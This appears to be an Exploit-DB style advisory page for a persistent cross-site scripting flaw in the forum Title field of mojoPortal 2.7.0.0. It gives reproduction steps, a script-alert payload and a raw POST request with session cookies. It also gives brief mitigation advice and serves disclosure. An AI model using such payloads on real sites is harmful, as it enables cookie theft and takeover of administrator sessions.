header-logo
Suggest Exploit
vendor:
mojoPortal
by:
Sagar Banwa
7.5
CVSS
HIGH
Persistent Cross-Site Scripting
79
CWE
Product Name: mojoPortal
Affected Version From: 2.7.0.0
Affected Version To: 2.7.0.0
Patch Exists: NO
Related CWE:
CPE: a:mojoportal:mojoportal:2.7.0.0
Metasploit:
Other Scripts:
Platforms Tested: Windows 10, Kali Linux
2020

mojoPortal forums 2.7.0.0 – ‘Title’ Persistent Cross-Site Scripting

This vulnerability allows an attacker to inject XSS payload in the 'Title' field of the Add Forum section. When an admin visits the View Detail of the Forum section from the admin panel, the XSS payload triggers and the attacker can steal the cookie with the crafted payload.

Mitigation:

Ensure proper input validation and encoding of user-supplied data. Implement a Content Security Policy (CSP) to restrict the execution of JavaScript from external sources.
Source

Exploit-DB raw data:

# Exploit Title: mojoPortal forums 2.7.0.0 - 'Title' Persistent Cross-Site Scripting
# Date: 3-12-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://mojoportal.com
# Software Link: https://www.mojoportal.com/download
# Version: 2.7.0.0
# Tested on: Windows 10/Kali Linux

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Add Forum title section and each time admin visits the View Detail of Forum section from admin panel, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Edit Forum 'Title :'.

Steps-To-Reproduce:
1. Login to the Admin Account 
2. Go to the Forums.
3. click on Add Forum.
4. Add payload to Title: <script>alert(1)</script>
5. Click on Create New Forum.
6. As soon as admin or any visitor visit the forum the XSS payload will triage.


Post Request -
'''

POST /Forums/EditForum.aspx?mid=1275&pageid=756 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/Forums/EditForum.aspx?mid=1275&pageid=756
Content-Type: application/x-www-form-urlencoded
Content-Length: 5037
Origin: https://localhost
Connection: close
Cookie: ASP.NET_SessionId=[removed]; _ga=GA1.2.1772464100.1606932969; _gid=GA1.2.1379348562.1606932969; returnurl25=https://localhost/; .mojochangeme=7ECC859CF4455C5CAE01964464A1029D676213BFF565B38E31D6AE3CF45C212B26FEF4451D2565510EFC1FBEE1A0002322CB05C272CFF74A5F2BDD798286542EA2BC30A889ABDC6D74502865A66DECF250F715A55C510F2DFDBCA1865D3DF436DA579221; localhostportalroles25=3119B16DC158DE7032105189AE61DB79F7043A498D422DABE9485B15E18E299E5C3B1C0696B736560172F2435276EF79EBF5D93A714F285B6EAEB16B648CB2EA4C7AE691B25D00EF4AD168393EFB423ED302A355C340B5D11AA9C7F44BDA6767678C3212BAA3B2991B38D1971836A62C0A1E2EF7AA36FE5DFE1BDAFF077F785F74B360520BA5793271671755790ED2BB9E98199A; fwAdminDrawer=close; _gat=1
Upgrade-Insecure-Requests: 1

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%3A%2F%2Flocalhost%2Fforums

'''